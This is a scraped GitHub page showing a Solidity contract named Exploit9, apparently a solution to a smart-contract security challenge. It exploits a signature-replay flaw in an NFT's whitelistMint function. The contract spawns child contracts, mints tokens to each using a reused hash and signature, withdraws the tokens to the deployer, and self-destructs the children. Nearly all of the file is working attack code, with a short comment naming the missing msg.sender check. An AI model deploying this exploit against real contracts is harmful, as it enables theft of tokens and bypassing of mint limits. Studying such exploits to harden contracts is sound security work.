generated from JonathanAmenechi/forge-template
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Exploit9.sol
71 lines (57 loc) · 2.12 KB
/
Exploit9.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import { Ownable } from "openzeppelin-contracts/access/Ownable.sol";
import { ERC721Holder } from "openzeppelin-contracts/token/ERC721/utils/ERC721Holder.sol";
import { IERC721 } from "openzeppelin-contracts/token/ERC721/IERC721.sol";
interface IVNFT {
function totalSupply() external returns (uint256);
function whitelistMint(
address to,
uint256 qty,
bytes32 hash,
bytes memory signature
) external payable;
}
contract NFTHolder is Ownable, ERC721Holder {
constructor(address _token) {
IERC721(_token).setApprovalForAll(msg.sender, true);
}
function kill() public onlyOwner {
selfdestruct(payable(msg.sender));
}
function withdraw(address token, uint256 tokenId, address to) external onlyOwner {
IERC721(token).transferFrom(address(this), to, tokenId);
}
}
contract Exploit9 {
// Attack: Create n child contracts from the top level contract, mint the max amount of tokens to each of them, then transfer
// all the tokens to the deployer
// Main issue:
// 1) whitelistMint should check msg.sender is owner as well as checking the sig
constructor(address _vnft, uint256 n) {
_attack(_vnft, n);
}
function _attack(address _vnft, uint256 n) internal {
uint256 id = IVNFT(_vnft).totalSupply();
uint256 i = 0;
for ( ; i < n; ) {
_mintAndWithdraw(_vnft, id);
unchecked {
++i;
}
id += 2;
}
}
function _mintAndWithdraw(address _vnft, uint256 _id) internal {
NFTHolder child = new NFTHolder(_vnft);
IVNFT(_vnft).whitelistMint(
address(child),
2,
0xd54b100c13f0d0e7860323e08f5eeb1eac1eeeae8bf637506280f00acd457f54,
hex"f80b662a501d9843c0459883582f6bb8015785da6e589643c2e53691e7fd060c24f14ad798bfb8882e5109e2756b8443963af0848951cffbd1a0ba54a2034a951c"
);
child.withdraw(address(_vnft), _id, msg.sender);
child.withdraw(address(_vnft), _id + 1, msg.sender);
child.kill();
}
}